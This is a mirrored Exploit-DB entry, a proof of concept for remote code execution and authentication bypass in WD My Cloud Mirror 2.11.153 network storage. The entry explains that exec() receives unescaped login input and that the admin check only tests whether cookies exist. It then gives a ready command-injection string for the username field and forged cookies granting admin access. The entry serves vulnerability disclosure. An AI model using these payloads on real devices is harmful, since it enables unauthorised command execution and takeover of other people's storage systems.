WD My Cloud Mirror 2.11.153 – Authentication Bypass / Remote Code Execution - 体验盒子

作者： Kacper Szurek

日期： 2017-01-24

类别：

webapps

平台：

hardware

来源：https://www.exploit-db.com/exploits/41147/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

# Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass

# Date: 24.01.2017

# Software Link: https://www.wdc.com

# Exploit Author: Kacper Szurek

# Contact: https://twitter.com/KacperSzurek

# Website: https://security.szurek.pl/

# Category: local

1. Description

It’s possible to execute arbitrary commands using login form because <code>exec()</code> function is used without <code>escapeshellarg()</code>.

It's possible to bypass login form because function only check if <code>$_COOKIE['username']</code> and <code>$_COOKIE['isAdmin']</code> exist.

https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html

2. Proof of Concept

For RCE simply use as username:

a" || your_command_to_execute || "

For authentication bypass set COOKIES:

username=1; isAdmin=1

and then visit for example php/users.php